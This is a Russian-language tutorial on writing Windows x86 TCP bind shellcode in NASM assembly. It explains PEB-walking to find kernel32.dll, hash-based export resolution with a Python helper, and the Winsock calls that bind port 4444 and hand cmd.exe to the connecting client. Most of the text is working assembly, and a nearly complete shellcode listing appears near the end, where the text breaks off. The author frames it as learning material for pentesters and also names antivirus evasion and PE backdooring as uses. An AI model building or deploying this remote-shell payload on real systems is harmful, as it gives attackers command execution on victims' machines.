Русский
Русский
English
Статистика
Реклама

Пишем шеллкод под Windows на ассемблере

image
В этой статье я хочу показать и подробно объяснить пример создания шеллкода на ассемблере в ОС Windows 7 x86. Не смотря на солидный возраст данной темы, она остаётся актуальной и по сей день: это стартовая точка в написании своих шеллкодов, эксплуатации переполнений буферов, обфускации шеллкодов для сокрытия их от антивирусов, внедрения кода в исполняемый файл (PE Backdooring). В качестве примера я выбрал TCP bind shellcode, т.к. на мой взгляд это лучший пример, потому что все остальные базовые шеллкоды имеют много общего с ним. Статья будет полезна для специалистов по информационной безопасности, пентестеров, начинающих реверс-инженеров и всем, кто желает разобраться в базовых принципах работы ОС Windows. Плюсом улучшаются навыки программирования. Начнём, как и всегда, с подготовки.

Подготовка


Для хорошего понимания статьи вам понадобятся:
базовые знания ассемблера. В статье код написан на NASM Intel x86;
базовые знания системного программирования для ОС Windows или хотя бы Linux;

Поскольку весь код шеллкода будет на ассемблере необходимо определить ряд правил, которых мы будем придерживаться в процессе написания шеллкода:
каждая подпрограмма (функция) использует свой стековый фрейм;
аргументы функции помещаются в стэк перед адресом возврата из этой функции;
перед началом работы функции выделяется необходимое место в памяти для локальных переменных, используемых в функции;
результат выполнения функции сохраняем в регистре EAX. Также делают и системные функции Windows.

Это общепринятые правила программирования на ассемблере и по своему опыту добавлю благодаря им код становится понятнее. Однако ими можно пренебрегать в случаях, когда, например, мало места для написания полноценного шеллкода.

Инструменты


  • Windows 7 x86. Я её установил в качестве гостевой виртуальной ОС;
  • любой отладчик. Мне нравятся ollydbg и immunity debugger;
  • winrepl программа, что позволяет выполнять инструкции ассемблера в режиме реального времени. Очень помогает, чтобы тестировать малые участки кода;
  • PEview программа для анализа структуры исполняемых файлов и библиотек. В нашем случае полезна для анализа библиотек: kernel32.dll ws2_32.dll. Во время работы с ней я столкнулся с одним небольшим недостатком старшие байты адресов функций и библиотек отличаются от адресов этих же функций и библиотек в ходе выполнения инструкций в шеллкоде;
  • компиляторы nasm и gcc для создания исполняемых файлов из кода ассемблера;
  • Любой дистрибутив Linux. Я использовал Ubuntu 20.04 в качестве хостовой ОС. Необходимо для использования утилит: objdump, grep и т.д.


python-скрипт для преобразования имени функции в хэш. Хэш от имени функции необходим для работы алгоритма поиска, который будет рассмотрен далее.

string2hash.py
#!/usr/bin/python# -*- coding: utf-8 -*-# string2hash.pyimport sysdef ROR(data, shift, size=32):    shift %= size    body = data >> shift    remains = (data << (size - shift)) - (body << size)    return (body + remains)if len(sys.argv) != 2:    print("Enter  argument: string")    sys.exit(0)word = sys.argv[1]result = 0for i in word:    result = ROR(result, 13)    result += ord(i)print(hex(result))


В процессе написания шеллкода я буду кратко описывать аргументы используемых системных функций. Для более подробного изучения возможных значений аргументов можете воспользоваться ссылками на официальную документацию, которые будут даны к каждой функции.

Общий алгоритм шеллкода


По сравнению с созданием шеллкодов в Linux, где нужные нам системные вызовы имеют свои уникальные номера, в Windows дела обстоят несколько сложнее. Во-первых, чтобы вызвать необходимую системную функцию нам необходимо знать её точный адрес в памяти, а поскольку все современные ОС имеют Address Space Layout Randomization (ASLR), то необходимо реализовать алгоритм, который будет находить адреса нужных нам функций без привязки к конкретным адресам. Во-вторых, аргументы функции помещаются не в регистры процессора, а в стэк. Учитывая вышесказанное, общий алгоритм шеллкода будет таким:

  1. Найти адрес kernel32.dll. В этой библиотеке находятся функции, необходимые для дальнейшей работы нашего шеллкода;
  2. Найти адреса функций kernel32.dll: CreateProcessA, LoadLibraryA, ExitProcess, GetProcAddress;
  3. Загрузить в адресное пространство нашего процесса библиотеку ws2_32.dll при помощи LoadLibraryA. Это необходимо, чтобы пользоваться функциями этой библиотеки для работы с сокетами такими как: WSASocketA, bind, listen и т.д.;
  4. Найти адреса функций библиотеки ws2_32.dll: WSAStartup, WSASocketA, bind, listen, accept;
  5. После того, как все необходимые функции найдены, можно приступать к их вызовам:
    Инициация использования нашим процессом библиотеки Winsock DLL: WSAStartup;
    Создание сокета: WSASocket;
    Привязка его к интерфейсу: bind;
    Перевод созданного сокета в состояние listening;
    Приём входящего сетевого соединения: accept;
    Создание процесса командной оболочки cmd.exe для выполнения команд в ОС по сети;
    Завершение родительского процесса: ExitProcess.


Написание шеллкода


Определение адреса библиотеки kernel32.dll


Для каждого потока (выполнение нашего кода происходит в потоке) в Windows есть структура, в которой хранится информация о процессе, в котором живёт наш поток. Мы можем обратиться за этой информацией. Хорошее объяснение что это за структура можно найти здесь. Адрес kernel32.dll мы можем получить из следующей цепочки:
1. Из TEB структуры получаем адрес PEB-структуры;
2. Находим указатель LoaderDataPointer который указывает на другую структуру: PEB_LDR_DATA;
3. После находим InMemoryOrderModuleList
4. Находим 2 и 3 вхождения.
5. После чего получаем адрес kernel32.dll.

Получение адреса kernel32.dll
;=====================================; Find kernel32.dll base; kernel32.dll in high address space; that's why we don't need to xor eax;=====================================find_kernel32:    mov eax, [fs:0x30]; PEB    mov eax, [eax + 0x0c]; PEB->Ldr    mov eax, [eax + 0x14]; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)    mov eax, [eax]; 2nd Entry    mov eax, [eax]; 3rd Entry    mov eax, [eax + 0x10]; address of kernel32.dll    ret

Подобные участки кода удобно анализировать в winrepl'е.

Алгоритм поиска функций


После того как нашли адрес kernel32.dll мы сможем находить адреса функций внутри этой библиотеки. Чтобы лучше понять алгоритм поиска функций в библиотеке нам понадобится PEview. В этой программе открываем C:\Windows\System32\kernel32.dll. Тем, кто хочет более детально разобрать структуру PE (.exe) файлов, рекомендую почитать здесь. Затем в искомой библиотеке (в нашем случае kernel32.dll) находим Offset to New EXE Header:

PEView kernel32.dll offset to new EXE header
image

После того как нашли нужное смещение, находим адрес EXPORT Table:

PEView kernel32.dll Export Tables
image

В этой таблице нас будут интересовать следующие значения:
адрес Address Table. Она содержит адреса функций библиотеки;
адрес Name Pointer Table. Она содержит имена функций библиотеки;
адрес Ordinal Table. Она содержит значения, которое используется для подсчёта смещения в таблице Address table;
общее количество функций в библиотеке.

PEView kernel32.dll Image Export Directory: RVA of tables
image

В случае с общим количеством функций есть 2 нюанса. 1-ый нюанс заключается в том, что иногда количество функций, полученное из файла может не совпадать с количеством имён функций самой библиотеки, тогда в нашем алгоритме поиска возникнет исключение и его необходимо обработать. С другой стороны, зная количество функций, мы можем остановить поиск, когда дойдём до 0, таким образом, корректно завершая цикл. 2-ой нюанс в том, что если вы точно уверены в том, что вы найдёте нужную функцию в библиотеке, то вам не нужно знать и использовать общее количество функций. В таком случае необходимо переделать цикл поиска имени функций: не уменьшать счётчик от общего числа функций к 0, а увеличивать на 1 начиная с 0.
При поиске от общего количества функций к 0 в ws2_32.dll у меня возникало исключение, поэтому, можно или использовать системную функцию GetProcAddress, которая позволяет средствами системы получать адрес искомой функции, или переделать алгоритм поиска функций, как описано выше: от 0 и выше.

С учетом вышесказанного, напишем алгоритм, который может искать функции в любой библиотеке. Это полезно в случае, когда нам нужно искать не только в kernel32.dll, но и, например, в ws2_32.dll. Как аргументы мы передаём хэш имени функции (алгоритм хэширования будет рассмотрен чуть позже), и базовый адрес самой библиотеки, в которой будем производить поиск.

Алгоритм поиска адреса функции в библиотеке
;=====================================;Find function name;=====================================; 2 arguments: hash of function name, base of dll;=====================================find_function_name:xor esi, esi; clear ESI registerpush ebp; save old EBPmov ebp, esp; new stack framesub esp, 0xc; 3 local variables: 12 bytesmov ebx, [ebp + 0x0C]; save <>.dll absolute address in ebxmov ebx, [ebx + 0x3c]; offset to New EXE Headeradd ebx, [ebp + 0x0C]; absolute address to New EXE Headermov ebx, [ebx + 0x78]; RVA of Export tableadd ebx, [ebp + 0x0C]; Absolute address of ; Export table IMAGE_EXPORT_DIRECTORY;=====================================;0x14 - Number of Functions;0x1c - Address Table RVA;0x20 - Name Pointer Table RVA;0x24 - Ordinal Table RVA;=====================================mov eax, [ebx + 0x1c]; RVA of Address Tableadd eax, [ebp + 0x0C]; Absolute address of Address Tablemov [ebp - 0x4], eax; 1st local variable: base of Address Tablemov eax, [ebx + 0x20]; RVA of Name Pointer Tableadd eax, [ebp + 0x0C]; Absolute address of Name Pointer Tablemov [ebp - 0x8], eax; 2nd local variable: base of Name Pointer Tablemov eax, [ebx + 0x24]; RVA of Ordinal Tableadd eax, [ebp + 0x0C]; Absolute address of Ordinal tablemov [ebp - 0x0C], eax; 3rd local variable: base of Ordinal tablemov ecx, [ebx + 0x14]; Number of functionsmov ebx, [ebp - 0x8]; place address of Name Pointer Table;=====================================;Fund function loop;=====================================find_function_loop:jecxz find_function_finished ; if ecx = 0 => enddec ecx; moving from Number of functions => 0mov esi, [ebx + 4*ecx]; get RVA of next function nameadd esi, [ebp + 0x0C]; base of function namecompute_hash:xor edi, edixor eax, eaxcompute_hash_again:lodsb; load char of function nametest al, al; is it end of function name? \0jz compute_hash_finished ; endror edi, 0xd; bitwise shift rightadd edi, eaxjmp compute_hash_againcompute_hash_finished:find_function_compare:cmp edi, [ebp + 0x8]; compare our hash with calculatedjnz find_function_loop;=====================================;Get address of Function;=====================================mov ebx, [ebp - 0x0c]; get ordinal table basemov cx, [ebx + 2 * ecx]; extract relative offset of functionmov eax, [ebp - 0x4]; get base of Address tablemov eax, [eax + ecx*4]; get RVA of our functionadd eax, [ebp + 0x0C]; get base of our functionfind_function_finished:leave; mov esp, ebp; pop ebpret

В начале алгоритма (метка find_function_name) поиска функции очищаем регистр ESI, подготавливаем стековый фрейм, находим все необходимые для нас таблицы и сохраняем их в локальные переменные (код до комментария Find function loop).

После чего, начинается цикл поиска функций. Сперва проверяется значение регистра ECX. Если мы прошли всё количество функций, указанных в библиотеке, то поиск завершен (инструкция jecxz find_function_finished). Если нет, то находим имя функции из таблицы Name Pointer Table в соответствии с значением нашего счётчика. Затем, высчитываем хэш для полученного имени. Хэш высчитывается от имени функции с использованием побитового сдвига (метка compute_hash_again).Полученное значение сохранятся в EDI. Когда нашли конец строки, то считаем, что хэш подсчитан и затем сравниваем его с нашим искомым хэшем. Конечно, нам необходимо просчитать хэши нужных нам функций заранее, можно при помощи скрипта, который указан в разделе Подготовка. Если хэш не совпадает, то мы берём следующую функцию и продолжаем поиск (инструкция jnz find_function_loop). Если же хэш совпал, то по Ordinal Table находим адрес смещения нашей функции в таблице Address Table и затем высчитываем адрес нашей искомой функции (комментарий Get address of Function). Поначалу, шаг с получением смещения из ordinal table мне казался избыточным и я просто находил смещение умножая значение счётчика (в ECX, порядковый номер функции) на 4 (каждые 4 байта для новой функции по таблице). Однако это работало далеко не всегда, переделав алгоритм с использованием ordinal table, мой код стал находить нужные функции всегда. Сохраняем результат в EAX и переходим к написанию основного тела шеллкода.

Тело шеллкода


Когда мы реализовали все необходимые для нас алгоритмы поиска, мы можем приступать к написанию основной части нашего шеллкода.

Общее описание кода шеллкода
_main<сохранение значений регистров, флагов, создание нового стекового фрейма><find kernel32.dll><find function name>start<Выделяем место для локальных переменных.>...

Перед работой нашего шеллкода желательно сохранить данные регистров и флагов, которые были до начала работы, эта практика поможет нам при внедрении нашего кода в тело другой программы. Локальные переменные для шеллкода выглядят следующим образом:

Описание локальных переменных
start:sub esp, 0x28; 40 bytes = 10 local variables; 0x4 CreateProcessA ; 0x8LoadLibraryA; 0x0CExitProcess; 0x10GetProcAddress; 0x14ws2_32.dll; 0x18WSAStartup; 0x1cWSASocketA; 0x20bind ; 0x24listen; 0x28accept

После чего находим адреса функций:

Поиск адресов функций
;=====================================; Find addresses of functions in kernel32.dll;=====================================call find_kernel32; find kernel32.dllpush eax; save address of kernel32.dll; CreateProcessApush 0x16b3fe72; hash of CreateProcessAcall find_function_name; в eax получаем returnmov [ebp - 0x4], eax; place into local address of CreateProcessA; LoadLibraryAmov eax, 0xec0e4e8e; hash of LoadLibrarymov [esp], eax; argument to find_function_namecall find_function_name; find LoadLibraryA in kernel32.dllmov [ebp - 0x8], eax; save LoadLibrary address; ExitProcessmov eax, 0x73e2d87e; hash of Exit Processmov [esp], eax; argument to find_function_namecall find_function_name; find ExitProcess in kernel32.dllmov [ebp - 0x0C], eax; save ExitProcess address; GetProcAddress 0x7c0dfcaamov eax, 0x7c0dfcaa; hash of GetProcAddressmov [esp], eax; argument to find_function_namecall find_function_name; find GetProcAddress in kernel32.dllmov [ebp - 0x10], eax; save GetProcAddress address

  • CreateProcessA нужна для создания процесса cmd.exe.
  • LoadLibraryA нужна для загрузки в адресное пространство нашего процесса библиотеки ws2_32.dll. Функции сокетов находятся в ней. Без вызова этой функции с параметром ws2_32.dll мы не сможем пользоваться функциями сокетов.
  • ExitProcess нужна для выхода из родительского процесса
  • GetProcAddress нужна, чтобы средставми ОС находить адреса нужных нам функций и библиотек.


GetProcAddress позволяет находить адрес нужной функции без алгоритма поиска. Благодаря этой функции можно просто передавать необходимые ей аргументы, вызывать её и получать результат в EAX.

После чего вызываем LoadLibraryA со строкой ws2_32.dll в качестве аргумента. Данная функция принимает 1 аргумент указатель на строку с именем библиотеки. В нашем случае указатель на ws2_32.dll.

Загрузка модуля ws2_32.dll
;=====================================; Load ws2_32.dll;=====================================push 0x00003233; 32.dllpush 0x5f327377; ws2_mov ebx, esp; place address in ebxpush ebx; pointer to string librarycall [ebp - 0x8]; call LoadLibraryAmov [ebp - 0x14], eax; save address of ws2_32.dll


Затем находим адреса функций:
WSAStartup
WSASocketA
bind
listen
accept

Поиск функций осуществляется при помощи GetProcAddress.

Аргументы GetProcAddress:
HMODULE hModule, адрес библиотеки в которой ищем функцию, т.е. адрес ws2_32.dll
LPCSTR lpProcName указатель на имя функции. При каждом вызове создаём новый указатель на строку с именем искомой функции.

Поиск функций библиотеки ws2_32.dll
;=====================================; Find WSAStartup;=====================================push 0x00007075; Push WSAStartuppush 0x74726174push 0x53415357mov ebx, esppush ebx; pushed pointer to WSAStartupmov eax, [ebp - 0x14]; address of ws2_32.dllpush eaxcall [ebp - 0x10]; call GetProcAddressmov [ebp - 0x18], eax; save address of WSAStartup;=====================================;Find WSASocketA;=====================================push 0x00004174; push WSASocketApush 0x656b636fpush 0x53415357mov ebx, esppush ebx; pointer to string function -> WSASocketAmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; address of ws2_32.dll to stackcall [ebp - 0x10]; call GetProcAddressmov [ebp - 0x1c], eax; save address of WSASocketA;=====================================;Find bind;=====================================xor eax, eaxpush eaxpush 0x646e6962; push bindmov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x20], eax; save address of ws2_32.bind;=====================================;Find listen;=====================================push 0x00006e65; listenpush 0x7473696cmov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x24], eax; save address of ws2_32.listen;=====================================;Find accept;=====================================push 0x00007470; acceptpush 0x65636361mov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x28], eax; save address of ws2_32.accept


Теперь необходимо инициализировать Winsock DLL нашим процессом, для использования функций библиотеки ws2_32.dll, таких как: WSASocket, bind, listen, accept. Помним, что аргументы для функций передаются в обратном порядке, поскольку помещаются в стэк. Вызываем WSAStartup.

Аргументы WSAStartup:
WORD wVersionRequired версия спецификации Windows Sockets. Устанавливаем в 0x00000202;
LPWSADATA lpWSAData указатель на область памяти, в которую будут записаны детали имплементации Windows Socket. Необходимо создать такую область памяти размером 400 байт (именно такой размер у этой структуры) и отдать указатель на неё.

Вызов WSAStartUP
;=====================================;Call WSAStartup;=====================================xor ecx, ecxmov cx, 400; Create space for WSAdata structure.sub esp, ecxmov ebx, espmov cx, 0x00000202; version for WSAstartuppush ebxpush ecxcall [ebp - 0x18]; Call WSAStartup


Затем создаём сокет WSASocketA.

Аргументы WSASocketA:
int af спецификация семейства адресов. Будем использовать IPv4, потому указываем 2;
int type тип сокета. Нас интересует SOCK_STREAM, поскольку хотим использовать TCP 1;
int protocol оставляем в 0;
LPWSAPROTOCOL_INFOA lpProtocolInfo оставляем в 0;
GROUP g группа сокетов, к которой будет относится созданный сокет. Здесь также оставляем 0;
DWORD dwFlags нам дополнительные параметры для сокета не нужны, поэтому он равен 0.

После этого вызываем функцию WSASocketA, созданный дескриптор сокета система оставит в EAX, его необходимо сохранить.

Вызов WSASocketA
;=====================================;Create Socket;=====================================xor eax, eaxpush eax; dwFlagspush eax; gpush eax; lpProtocolInfopush eax; protocolinc eaxpush eax; type = SOCK_STREAM = 1inc eaxpush eax; af = AF_INET = 2call [ebp - 0x1c]; Call WSASocketAmov esi, eax; save socket descriptor


Следом идёт вызов функции bind.
Её необходимо вызвать для связи созданного сокета с локальным адресом.

Аргументы bind:
SOCKET s, дескриптор сокета, который мы привязываем к интерфейсу. Мы его положили в ESI;
const sockaddr *addr, указатель на область памяти, где хранится структура sockaddr. Структуру сначала необходимо заполнить и затем отдать указатель на неё;
int namelen размер структуры sockaddr, 16 байт.

Вызов bind
;=====================================;Call Bind;=====================================; creating sockaddr_in structurexor eax, eaxpush eax; 0 - all interfacespush WORD 0x5c11; 4444 portpush WORD 2; sin_family = AF_INET = 2mov ebx, esp; set pointer to struct sockaddr_in; placing argumentsxor eax, eaxmov al, 0x10; size of struct sockaddr_inpush eax; Push the namelen argument which has been set to 16.push ebx; Push the name argument which has been set to the initialized struct sockaddr in on the; stack.push esi; socket descriptorcall [ebp - 0x20]; Calling Bind


Затем идёт вызов функции listen. Данная функция переводит сокет в состояние ожидания входящего соединения.

Аргументы listen:
SOCKET s, дескриптор сокета, который будем переводить в listening. По-прежнему в ESI;
int backlog максимальная длина очереди ожидающих соединений. В нашем случае не меньше 1.

Вызов listen
;=====================================;Listen;=====================================listen:push 0x10; int backlogpush esi; socketcall [ebp - 0x24]; Listen


После того как перевели созданный сокет в состояние listening можем принимать входящие соединения: accept.

Аргументы accept:
SOCKET s, дескриптор сокета, который ожидает соединение. Снова в ESI;
sockaddr *addr, указатель на буфер, который принимает информацию о входящем соединении. Структуру заполнять не надо;
int *addrlen указатель на целочисленное значение длины структуры на которую указывает addr параметр: 16 байт;

Вызов accept
;=====================================;Accept;=====================================xor ebx, ebx; zero ebxmov ebx, 0x10; place size of structpush ebx; we need pointer to sizemov edx, esp; pointer to sizesub esp, ebx; a place for sockaddr in structure of clientmov ecx, esp; pointer to this placepush edxpush ecxpush esi; socket descriptorcall [ebp - 0x28]; call acceptmov esi, eax; save client descriptor


Когда к нашему сокету подключится клиент, данная функция вернет целочисленный дескриптор вновь созданного сокета. После того, как приняли входящее соединение, нам необходимо вызвать командную оболочку, чтобы появилась возможность удаленного выполнения команд. Функция, у которой больше всего аргументов CreateProcessA.

Аргументы:
LPCSTR lpApplicationName Имя приложения. Для нас не обязателен, 0;
LPSTR lpCommandLine Имя команда. cmd.exe;
LPSECURITY_ATTRIBUTES lpProcessAttributes указатель на атрибуты процесса, 0;
LPSECURITY_ATTRIBUTES lpThreadAttributes указатель на атрибуты потока, 0;
BOOL bInheritHandles если в TRUE, то создаваемый процесс унаследует дескрипторы от процесса-создателя, 1.
DWORD dwCreationFlags флаги контроля класса приоритета и создания процесса. Для нас 0.
LPVOID lpEnvironment указатель на блок окружения для нового процесса. Для нас 0
LPCSTR lpCurrentDirectory полный путь к текущей директории процесса. Для нас 0
LPSTARTUPINFOA lpStartupInfo указатель на STARTUPINFO или STARTUPINFOEX структуру.
LPPROCESS_INFORMATION lpProcessInformation указатель на PROCESS_INFORMATION структуру.

Вызов CreateProcessA
;=====================================; Call cmd.exe;=====================================push 0x657865push 0x2e646d63; cmd.exemov [ebp - 0x2c], espxor ecx, ecx; zero ecxmov cl, 0x54; size of STARTUPINFOsub esp, ecx; allocate space for the two structuresmov edi, esp; set edi to point to STARTUPINFO structurepush edi; Preserve edi on the stack as it will be modified ; by the following instructionsxor eax, eax; Zero eax to for use with stosb to zero ; out the two structures.rep stosb; Repeat storing zero at the buffer starting at edi ; until ecx is zero.pop edi; restore edimov byte [edi], 0x44; Set the cb attribute of STARTUPINFO to 0x44 ; (the size of the structure).inc byte [edi + 0x2d]; dwFlags: Set the STARTF USESTDHANDLES flag; to indicate that the hStdInput, hStdOutput, ; and hStdError attributes should be used.push edi;preserve edi again as it will be modified by the stosdmov eax, esi; place socket descriptor into eaxlea edi, [edi + 0x38]; Load the effective address of the hStdInput ; attribute in the STARTUPINFO structure.stosd; Set the hStdInput attribute to the file ; descriptor returned from WSASocket.stosd; Set the hStdOutput attribute to the file ; descriptor returned from WSASocket.stosd; Set the hStdError attribute to the file ; descriptor returned from WSASocket.pop edi; Restore edi to its original valuexor eax, eaxlea esi, [edi + 0x44]; Load the effective address of ; the PROCESS INFORMATION structure into esi.push esi; Push the pointer to the lpProcessInformation str-epush edi; Push the pointer to the lpStartupInfo structure.push eax; Push the lpStartupDirectory argument as NULL.push eax; Push the lpEnvironment argument as NULL.push eax; Push the dwCreationFlags argument as 0.inc eaxpush eax; Push the bInheritHandles argument as ; TRUE due to the fact that the; client needs to inherit the socket file descriptor.dec eaxpush eax; Push the lpThreadAttributes argument as NULL.push eax; Push the lpProcessAttributes argument as NULL.mov eax, [ebp - 0x2c]push eax; Push the lpCommandLine argument as the pntr to 'cmdxor eax, eaxpush eax; Push the lpApplicationName argument as NULL.call [ebp - 0x4]; Call CreateProcessA


И завершаем наш шеллкод завершением родительского процесса.

call [ebp - 0x0C]; Call ExitProcessret


Теперь сложим это всё вместе.

Весь шеллкод
    global  _main    section .text_main:pushadpushfdpush ebpmov ebp, espjmp start;=====================================; Find kernel32.dll base; kernel32.dll in high address space; that's why we don't need to xor eax;=====================================find_kernel32:    mov eax, [fs:0x30]; PEB    mov eax, [eax + 0x0c]; PEB->Ldr    mov eax, [eax + 0x14]; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)    mov eax, [eax]; 2nd Entry    mov eax, [eax]; 3rd Entry    mov eax, [eax + 0x10]; address of kernel32.dll    ret;=====================================;Find function name;=====================================; 2 arguments: hash of function name, base of dll;=====================================find_function_name:xor esi, esi; clear ESI registerpush ebp; save old EBPmov ebp, esp; new stack framesub esp, 0xc; 3 local variables: 12 bytesmov ebx, [ebp + 0x0C]; save <>.dll absolute address in ebxmov ebx, [ebx + 0x3c]; offset to New EXE Headeradd ebx, [ebp + 0x0C]; absolute address to New EXE Headermov ebx, [ebx + 0x78]; RVA of Export tableadd ebx, [ebp + 0x0C]; Absolute address of ; Export table IMAGE_EXPORT_DIRECTORY;=====================================;0x14 - Number of Functions;0x1c - Address Table RVA;0x20 - Name Pointer Table RVA;0x24 - Ordinal Table RVA;=====================================mov eax, [ebx + 0x1c]; RVA of Address Tableadd eax, [ebp + 0x0C]; Absolute address of Address Tablemov [ebp - 0x4], eax; 1st local variable: base of Address Tablemov eax, [ebx + 0x20]; RVA of Name Pointer Tableadd eax, [ebp + 0x0C]; Absolute address of Name Pointer Tablemov [ebp - 0x8], eax; 2nd local variable: base of Name Pointer Tablemov eax, [ebx + 0x24]; RVA of Ordinal Tableadd eax, [ebp + 0x0C]; Absolute address of Ordinal tablemov [ebp - 0x0C], eax; 3rd local variable: base of Ordinal tablemov ecx, [ebx + 0x14]; Number of functionsmov ebx, [ebp - 0x8]; place address of Name Pointer Table;=====================================;Fund function loop;=====================================find_function_loop:jecxz find_function_finished ; if ecx = 0 => enddec ecx; moving from Number of functions => 0mov esi, [ebx + 4*ecx]; get RVA of next function nameadd esi, [ebp + 0x0C]; base of function namecompute_hash:xor edi, edixor eax, eaxcompute_hash_again:lodsb; load char of function nametest al, al; is it end of function name? \0jz compute_hash_finished ; endror edi, 0xd; bitwise shift rightadd edi, eaxjmp compute_hash_againcompute_hash_finished:find_function_compare:cmp edi, [ebp + 0x8]; compare our hash with calculatedjnz find_function_loop;=====================================;Get address of Function;=====================================mov ebx, [ebp - 0x0c]; get ordinal table basemov cx, [ebx + 2 * ecx]; extract relative offset of functionmov eax, [ebp - 0x4]; get base of Address tablemov eax, [eax + ecx*4]; get RVA of our functionadd eax, [ebp + 0x0C]; get base of our functionfind_function_finished:leave; mov esp, ebp; pop ebpret;=====================================;Start;=====================================start:sub esp, 0x28; 40 bytes = 10 local variables; 0x4 CreateProcessA ; 0x8LoadLibraryA; 0x0CExitProcess; 0x10GetProcAddress; 0x14ws2_32.dll; 0x18WSAStartup; 0x1cWSASocketA; 0x20bind ; 0x24listen; 0x28accept;=====================================; Find addresses of functions in kernel32.dll;=====================================call find_kernel32; find kernel32.dllpush eax; save address of kernel32.dll; CreateProcessApush 0x16b3fe72; hash of CreateProcessAcall find_function_name; in EAX return valuemov [ebp - 0x4], eax; place into local address of CreateProcessA; LoadLibraryAmov eax, 0xec0e4e8e; hash of LoadLibrarymov [esp], eax; argument to find_function_namecall find_function_name; find LoadLibraryA in kernel32.dllmov [ebp - 0x8], eax; save LoadLibrary address; ExitProcessmov eax, 0x73e2d87e; hash of Exit Processmov [esp], eax; argument to find_function_namecall find_function_name; find ExitProcess in kernel32.dllmov [ebp - 0x0C], eax; save ExitProcess address; GetProcAddress 0x7c0dfcaamov eax, 0x7c0dfcaa; hash of GetProcAddressmov [esp], eax; argument to find_function_namecall find_function_name; find GetProcAddress in kernel32.dllmov [ebp - 0x10], eax; save GetProcAddress address;=====================================; Load ws2_32.dll;=====================================push 0x00003233; 32.dllpush 0x5f327377; ws2_mov ebx, esp; place address in ebxpush ebx; pointer to string librarycall [ebp - 0x8]; call LoadLibraryAmov [ebp - 0x14], eax; save address of ws2_32.dll;=====================================; Find WSAStartup;=====================================push 0x00007075; Push WSAStartuppush 0x74726174push 0x53415357mov ebx, esppush ebx; pushed pointer to WSAStartupmov eax, [ebp - 0x14]; address of ws2_32.dllpush eaxcall [ebp - 0x10]; call GetProcAddressmov [ebp - 0x18], eax; save address of WSAStartup;=====================================;Find WSASocketA;=====================================push 0x00004174; push WSASocketApush 0x656b636fpush 0x53415357mov ebx, esppush ebx; pointer to string function -> WSASocketAmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; address of ws2_32.dll to stackcall [ebp - 0x10]; call GetProcAddressmov [ebp - 0x1c], eax; save address of WSASocketA;=====================================;Find bind;=====================================xor eax, eaxpush eaxpush 0x646e6962; push bindmov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x20], eax; save address of ws2_32.bind;=====================================;Find listen;=====================================push 0x00006e65; listenpush 0x7473696cmov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x24], eax; save address of ws2_32.listen;=====================================;Find accept;=====================================push 0x00007470; acceptpush 0x65636361mov ebx, esppush ebxmov eax, [ebp - 0x14]; address of ws2_32.dllpush eax; pointer to addresscall [ebp - 0x10]; GetProcAddressmov [ebp - 0x28], eax; save address of ws2_32.accept;=====================================;Call WSAStartup;=====================================xor ecx, ecxmov cx, 400; Create space for WSAdata structure.sub esp, ecxmov ebx, espmov cx, 0x00000202; version for WSAstartuppush ebxpush ecxcall [ebp - 0x18]; Call WSAStartup;=====================================;Create Socket;=====================================xor eax, eaxpush eax; dwFlagspush eax; gpush eax; lpProtocolInfopush eax; protocolinc eaxpush eax; type = SOCK_STREAM = 1inc eaxpush eax; af = AF_INET = 2call [ebp - 0x1c]; Call WSASocketAmov esi, eax; save socket descriptor;=====================================;Call Bind;=====================================; creating sockaddr_in structurexor eax, eaxpush eax; 0 - all interfacespush WORD 0x5c11; 4444 portpush WORD 2; sin_family = AF_INET = 2mov ebx, esp; set pointer to struct sockaddr_in; placing argumentsxor eax, eaxmov al, 0x10; size of struct sockaddr_inpush eax; Push the namelen argument which has been set to 16.push ebx; Push the name argument which has been set to ; the initialized struct sockaddr in on the stack.push esi; socket descriptorcall [ebp - 0x20]; Calling Bind;=====================================;Call Listen;=====================================listen:push 0x10; int backlogpush esi; socketcall [ebp - 0x24]; Listen;=====================================;Call Accept;=====================================xor ebx, ebx; zero ebxmov ebx, 0x10; place size of structpush ebx; we need pointer to sizemov edx, esp; pointer to sizesub esp, ebx; a place for sockaddr in structure of clientmov ecx, esp; pointer to this placepush edxpush ecxpush esi; socket descriptorcall [ebp - 0x28]; call acceptmov esi, eax; save client descriptor;=====================================;Call cmd.exe;=====================================push 0x657865push 0x2e646d63; cmd.exemov [ebp - 0x2c], espxor ecx, ecx; zero ecxmov cl, 0x54; size of STARTUPINFOsub esp, ecx; allocate space for the two structuresmov edi, esp; set edi to point to STARTUPINFO structurepush edi; Preserve edi on the stack as it will be modified ; by the following instructionsxor eax, eax; Zero eax to for use with stosb to zero ; out the two structures.rep stosb; Repeat storing zero at the buffer starting at edi ; until ecx is zero.pop edi; restore eidmov byte [edi], 0x44; Set the cb attribute of STARTUPINFO to 0x44 ; (the size of the structure).inc byte [edi + 0x2d]; dwFlags: Set the STARTF USESTDHANDLES flag; to indicate that the hStdInput, hStdOutput, ; and hStdError attributes should be used.push edi;preserve edi again as it will be modified by the stosdmov eax, esi; place socket descriptor into eaxlea edi, [edi + 0x38]; Load the effective address of the hStdInput ; attribute in the STARTUPINFO structure.stosd; Set the hStdInput attribute to the file ; descriptor returned from WSASocket.stosd; Set the hStdOutput attribute to the file ; descriptor returned from WSASocket.stosd; Set the hStdError attribute to the file ; descriptor returned from WSASocket.pop edi; Restore edi to its original valuexor eax, eaxlea esi, [edi + 0x44]; Load the effective address of ; the PROCESS INFORMATION structure into esi.push esi; Push the pointer to the lpProcessInformation struc.push edi; Push the pointer to the lpStartupInfo structure.push eax; Push the lpStartupDirectory argument as NULL.push eax; Push the lpEnvironment argument as NULL.push eax; Push the 